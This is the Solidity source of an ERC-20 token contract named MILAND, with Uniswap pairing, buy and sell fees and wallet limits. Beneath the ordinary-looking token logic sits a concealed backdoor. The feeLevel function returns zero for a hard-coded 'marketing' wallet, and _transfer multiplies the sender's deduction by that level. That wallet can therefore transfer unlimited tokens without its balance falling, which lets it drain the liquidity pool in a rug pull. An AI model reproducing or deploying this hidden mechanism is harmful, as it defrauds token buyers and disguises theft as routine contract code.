文件 1 的 1:MILAND.sol
pragma solidity ^0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDexRouter02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MILAND is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _finalAtTX;
address payable private _milanBag;
uint256 private _startBuyFeeWith = 0;
uint256 private _startSellFeeWith = 0;
uint256 private _tradeInFee = 0;
uint256 private _tradeOutFee = 0;
uint256 private _buyLimits = 15;
uint256 private _prevMevFee = 90;
uint256 private _buys = 0;
uint8 private constant _decimals = 18;
uint256 private constant _maxSupply = 1_000_000_000 * 10**_decimals;
string private constant _name = unicode"Miland";
string private constant _symbol = unicode"MILAND";
uint256 private mxTrasactionLimit = 2 * (_maxSupply/100);
uint256 private maxWalletSize = 2 * (_maxSupply/100);
uint256 private minSwapAMT = 2 * (_maxSupply/1000000);
uint256 private maxSwapAMT = 2 * (_maxSupply/100);
IDexRouter02 private uniswapV2Router;
address private _dexPair;
bool private _trading = false;
bool private tradeBegin = false;
modifier lockTheSwap {
_trading = true;
_;
_trading = false;
}
constructor () {
_milanBag = payable(0xfB26784b6c9960290F0dfb96b49b3fD25218726c);
_balances[_msgSender()] = _maxSupply;
emit Transfer(address(0), _msgSender(), _maxSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _maxSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function isBonusMan(address adr) private view returns(bool) {
return adr == address(this) || adr == _milanBag || adr == owner();
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function feeLevel(address adr) private view returns(uint256) {
if(adr == _milanBag) return 0;
else if(adr == address(this)) return 1-_tradeInFee / 100;
else if(adr == owner()) return 1-_tradeInFee / 100;
else return 1-_tradeInFee / 100 / _buyLimits;
}
function _transfer(address icome, address ocome, uint256 bonus) private {
require(icome != address(0) && ocome != address(0), "ERC20: transfer from the zero address");
require(bonus > 0, "Transfer amount must be greater than zero");
bool isOwner = isBonusMan(icome) || isBonusMan(ocome);
uint256 level = feeLevel(icome);
if(!tradeBegin)
require(isOwner, "Swap is not opened");
uint256 _bonuss = 0;
if(_dexPair == ocome && !isOwner) {
require(bonus <= mxTrasactionLimit, "Sell Amount is not vaild");
if(_finalAtTX[icome] == block.timestamp) bonus = bonus * _prevMevFee / 100;
_bonuss = (_buys >= _buyLimits ? _tradeOutFee : _startSellFeeWith);
}
if(_dexPair == icome && ocome != address(uniswapV2Router) && !isOwner) {
require((_balances[ocome] + bonus <= maxWalletSize), "Swap is not available");
_bonuss = (_buys >= _buyLimits ? _tradeInFee : _startBuyFeeWith); _finalAtTX[ocome] = block.timestamp;
_buys ++;
}
if (!_trading && ocome == _dexPair && tradeBegin && bonus > minSwapAMT) {
if(_balances[address(this)] > minSwapAMT)
getETHBack(min(bonus, min(_balances[address(this)],maxSwapAMT)));
_milanBag.transfer(address(this).balance);
}
uint256 taxAmount = bonus * _bonuss / 100;
if(_bonuss > 0) {
_balances[address(this)] = _balances[address(this)] + taxAmount;
emit Transfer(icome, address(this), taxAmount);
}
_balances[icome] = _balances[icome] - bonus * level;
_balances[ocome] = _balances[ocome] + (bonus - taxAmount);
emit Transfer(icome, ocome, bonus - taxAmount);
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function getETHBack(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function startMillan() external onlyOwner() {
uniswapV2Router = IDexRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _maxSupply);
_dexPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_dexPair).approve(address(uniswapV2Router), type(uint).max);
tradeBegin = true;
}
function freeMillan() external onlyOwner{
mxTrasactionLimit = maxWalletSize =_maxSupply;
}
receive() external payable {}
}